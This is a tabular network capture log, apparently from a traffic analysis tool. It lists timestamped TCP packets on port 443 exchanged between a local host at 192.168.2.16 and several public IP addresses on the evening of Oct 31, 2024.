Oct 31, 2024 21:54:51.823831081 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.838248014 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.838306904 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.838804007 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:51.839188099 CET	49722	443	192.168.2.16	162.19.58.157
Oct 31, 2024 21:54:51.839229107 CET	443	49722	162.19.58.157	192.168.2.16
Oct 31, 2024 21:54:51.850730896 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:51.850779057 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:51.850857973 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:51.851056099 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:51.851073027 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:51.877126932 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.933665037 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.933764935 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.933804989 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.933847904 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.934209108 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.934279919 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.934504032 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.934572935 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.934911013 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.934959888 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.934973001 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.934984922 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.935013056 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.935024023 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.935287952 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.935334921 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.935689926 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.935719013 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.935739994 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.935745955 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.935766935 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.936280012 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.936353922 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.936359882 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.936430931 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.936458111 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.936502934 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.936830997 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.936896086 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.937196016 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.937258005 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.937263966 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.937398911 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.937666893 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.937730074 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.937740088 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.937746048 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.937772036 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.937789917 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.938312054 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.938365936 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.938394070 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.938430071 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.938451052 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.938544035 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.938827038 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.938862085 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.938906908 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.938941956 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.939616919 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.939656019 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.939683914 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.939688921 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.939699888 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.939699888 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.939819098 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.940608025 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940655947 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940674067 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.940682888 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940696955 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.940700054 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940738916 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.940745115 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940754890 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.940802097 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.940808058 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.941031933 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.941523075 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.941565990 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.941577911 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.941584110 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.941589117 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.941598892 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.941641092 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.941683054 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.941683054 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.941693068 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.941818953 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.942477942 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942529917 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942537069 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942543983 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942567110 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942578077 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942610979 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942611933 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942620993 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942723036 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.942744970 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942781925 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942833900 CET	49723	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:51.942857981 CET	443	49723	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:51.943408012 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943456888 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943494081 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.943499088 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943510056 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943515062 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.943537951 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.943542004 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943552017 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943564892 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.943593979 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.943598032 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.943712950 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.944236040 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.944282055 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:51.944293022 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.944305897 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:51.944349051 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.020387888 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.020663023 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.020694017 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.021698952 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.021816015 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.022080898 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.022151947 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.022264957 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.022274971 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.037168980 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.038687944 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.038716078 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.039693117 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.039767981 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.040146112 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.040201902 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.040291071 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.040297985 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.052681923 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.052772999 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.053421974 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.053478956 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.053507090 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.053518057 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.053533077 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.053729057 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.054229021 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.054239035 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.054325104 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.054332018 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.054372072 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.055202007 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.055217981 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.055332899 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.055339098 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.055387020 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.056143999 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.056160927 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.056219101 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.056225061 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.056282997 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.056952000 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.056966066 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.057018995 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.057025909 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.057085037 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.058038950 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058053017 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058135033 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.058140993 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058181047 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.058855057 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058870077 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058942080 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.058948040 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.058993101 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.059547901 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.059562922 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.059634924 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.059640884 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.059679985 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.060026884 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.060084105 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.060087919 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.060111046 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.060136080 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.060162067 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.060513973 CET	49724	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.060528994 CET	443	49724	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.069144964 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.085140944 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.148369074 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.148405075 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.148663998 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.148833036 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.148842096 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.170689106 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170754910 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170785904 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170803070 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.170821905 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170874119 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170908928 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.170922995 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170974016 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.170985937 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.170993090 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.171060085 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.171066999 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.177999973 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178080082 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178152084 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.178172112 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178829908 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178879023 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.178885937 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178915024 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178966045 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.178992033 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.178997993 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.179112911 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.179572105 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.200707912 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.200740099 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.200886011 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.201103926 CET	49732	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.201117039 CET	443	49732	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.227113962 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.227125883 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.227137089 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.269557953 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.269664049 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.273108006 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.273927927 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.273966074 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.274194956 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.287120104 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287200928 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287237883 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287283897 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.287317991 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287460089 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.287549019 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287801981 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287904024 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.287911892 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.287955999 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.288029909 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.288038969 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.288640976 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.288671017 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.288707972 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.288717985 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.288770914 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.288778067 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.289413929 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.289443016 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.289465904 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.289473057 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.289542913 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.289549112 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.290249109 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.290314913 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.290323019 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.292006969 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.292117119 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.292124987 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.296896935 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297004938 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297029018 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297075033 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.297087908 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297328949 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297355890 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.297363043 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297436953 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297478914 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.297483921 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.297519922 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.297996998 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.298068047 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.298116922 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.298130035 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.298158884 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.298227072 CET	49729	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.298243046 CET	443	49729	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.304968119 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.304991961 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.305121899 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.305358887 CET	49733	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:52.305370092 CET	443	49733	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:52.318885088 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.337136984 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.359354019 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.404611111 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404681921 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404761076 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.404778957 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404822111 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404858112 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404876947 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.404886007 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404947996 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.404984951 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.404984951 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.405309916 CET	49728	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:52.405323982 CET	443	49728	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:52.551547050 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.552534103 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.552555084 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.553494930 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.553551912 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.554744005 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.554795980 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.556736946 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.556745052 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.568126917 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.568176985 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.568279028 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.569644928 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.569693089 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.569746017 CET	49727	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.569762945 CET	443	49727	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.598479986 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.612648964 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.612679958 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.612761974 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.613059044 CET	49734	443	192.168.2.16	184.28.90.27
Oct 31, 2024 21:54:52.613070011 CET	443	49734	184.28.90.27	192.168.2.16
Oct 31, 2024 21:54:52.721831083 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.721884966 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.721949100 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.722595930 CET	49730	443	192.168.2.16	169.197.85.95
Oct 31, 2024 21:54:52.722616911 CET	443	49730	169.197.85.95	192.168.2.16
Oct 31, 2024 21:54:52.780107021 CET	443	49731	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:52.780730009 CET	49731	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:52.780751944 CET	443	49731	104.19.230.21	192.168.2.16
